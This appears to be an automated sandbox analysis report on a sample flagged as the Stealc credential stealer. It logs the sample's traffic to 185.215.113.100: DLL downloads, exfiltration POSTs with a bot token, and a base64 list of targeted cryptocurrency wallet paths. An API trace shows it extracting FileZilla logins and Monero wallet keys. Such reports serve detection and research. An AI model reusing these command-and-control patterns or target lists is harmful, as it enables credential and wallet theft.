`.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 28, 2024 11:51:14.543452024 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:14.785442114 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 28, 2024 11:51:16.236490965 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:16.490032911 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 28, 2024 11:51:16.670346975 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 28, 2024 11:51:16.911604881 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 28, 2024 11:51:17.133261919 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.100 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 11:51:18.142920971 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:18.209680080 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"wallets------HDAFBAEBKJKFIDHJJKJK--
Aug 28, 2024 11:51:18.452438116 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 28, 2024 11:51:18.455033064 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ Host: 185.215.113.100 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"files------FHIEBKKFHIEGCAKECGHJ--
Aug 28, 2024 11:51:18.697495937 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:18.710958004 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file"------CGDHIEGCFHCGDGCAECBG--
Aug 28, 2024 11:51:19.517611027 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:19.546262026 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="message"ybncbhylepme------IJDGIIEBFCBAAAAKKEGH--
Aug 28, 2024 11:51:19.792329073 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1926 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 31 3c 62 72 3e 3c 62 72 3e 2a 2e 30 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6c 3c 62 72 3e 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 3c 62 72 3e 2a 2e 7a 6d 3c 62 72 3e 3c 62 72 3e 2a 2e 76 65 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6b 3c 62 72 3e 3c 62 72 3e 2a 2e 72 73 3c 62 72 3e 3c 62 72 3e 2a 2e 70 68 3c 62 72 3e 3c 62 72 3e 2a 2e 6d 78 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 74 68 3c 62 72 3e 3c 62 72 3e 2a 2e 63 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 7a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 2e 74 72 3c 62 72 3e 3c 62 72 3e 2a 2e 63 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 64 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 64 65 3c 62 72 3e 3c 62 72 3e 2a 2e 6b 72 3c 62 72 3e 3c 62 72 3e 2a 2e 6d [TRUNCATED] Data Ascii: .1<br><br>.0<br><br>.pl<br><br>.ar<br><br>.br<br><br>.ec<br><br>.eg<br><br>.in<br><br>.pt<br><br>.ac<br><br>.bd<br><br>.zm<br><br>.ve<br><br>.pk<br><br>.rs<br><br>.ph<br><br>.mx<br><br>.in<br><br>.th<br><br>.co<br><br>.id<br><br>z.id<br><br>.tr<br><br>.cz<br><br>.io<br><br>.dz<br><br>.de<br><br>.kr<br><br>.ma<br><br>.jp<br><br>.za<br><br>.sa<br><br>.vn<br><br>.cl<br><br>.pe<br><br>.ke<br><br>.tw<br><br>.cn<br><br>.my<br><br>.mz<br><br>.sv<br><br>.au<br><br>.bo<br><br>.mn<br><br>.lb<br><br>.es<br><br>.org<br><br>.uk<br><br>.ug<br><br>.sy<br><br>.gh<br><br>.bc<br><br>.ao<br><br>.ni<br><br>.ng<br><br>.to<br><br>.edu<br><br>.it<br><br>.tn<br><br>.net<br><br>.gn<br><br>.hk<br><br>.uy<br><br>.ae<br><br>.np<br><br>.mm<br><br>.do<br><br>.ir<br><br>.biz<br><br>.tv<br><br>.gt<br><br>.ps<br><br>.dk<br><br>.gp<br><br>.hu<br><br>.ge<br><br>.ci<br><br>.ca<br><br>.al<br><br>.jo<br><br>.sn<br><br>.is<br><br>.ro<br><br>.cr<br><
Aug 28, 2024 11:51:19.793670893 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAK Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKKECFBGIIIEBGDGDAK--
Aug 28, 2024 11:51:20.567061901 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	05:50:59
Start date:	28/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9a0000
File size:	1'804'288 bytes
MD5 hash:	E70F65BE8F27C08808E881AEA3F0C9C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 009B0090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009B8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009B88AB

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009A9A3C
Part of subcall function 009A9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009A9A61
Part of subcall function 009A9A10: LocalAlloc.KERNEL32(00000040,?), ref: 009A9A81
Part of subcall function 009A9A10: ReadFile.KERNEL32(000000FF,?,00000000,009A148F,00000000), ref: 009A9AAA
Part of subcall function 009A9A10: LocalFree.KERNEL32(009A148F), ref: 009A9AE0
Part of subcall function 009A9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 009A9AEA

Part of subcall function 009B88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009B88F2

GetProcessHeap.KERNEL32(00000000,000F423F,009C0DA6,009C0DA3,009C0DA2,009C0D9F), ref: 009B01A2
RtlAllocateHeap.NTDLL(00000000), ref: 009B01A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 009B01C5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B01D3
StrStrA.SHLWAPI(00000000,<Port>), ref: 009B020F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B021D
StrStrA.SHLWAPI(00000000,<User>), ref: 009B0259
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B0267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 009B02A3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B02B5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B0342
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B035A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B0372
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009C0D9E), ref: 009B038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 009B03A2
lstrcat.KERNEL32(?,profile: null), ref: 009B03B1
lstrcat.KERNEL32(?,url: ), ref: 009B03C0
lstrcat.KERNEL32(?,00000000), ref: 009B03D3
lstrcat.KERNEL32(?,009C161C), ref: 009B03E2
lstrcat.KERNEL32(?,00000000), ref: 009B03F5
lstrcat.KERNEL32(?,009C1620), ref: 009B0404
lstrcat.KERNEL32(?,login: ), ref: 009B0413
lstrcat.KERNEL32(?,00000000), ref: 009B0426
lstrcat.KERNEL32(?,009C162C), ref: 009B0435
lstrcat.KERNEL32(?,password: ), ref: 009B0444
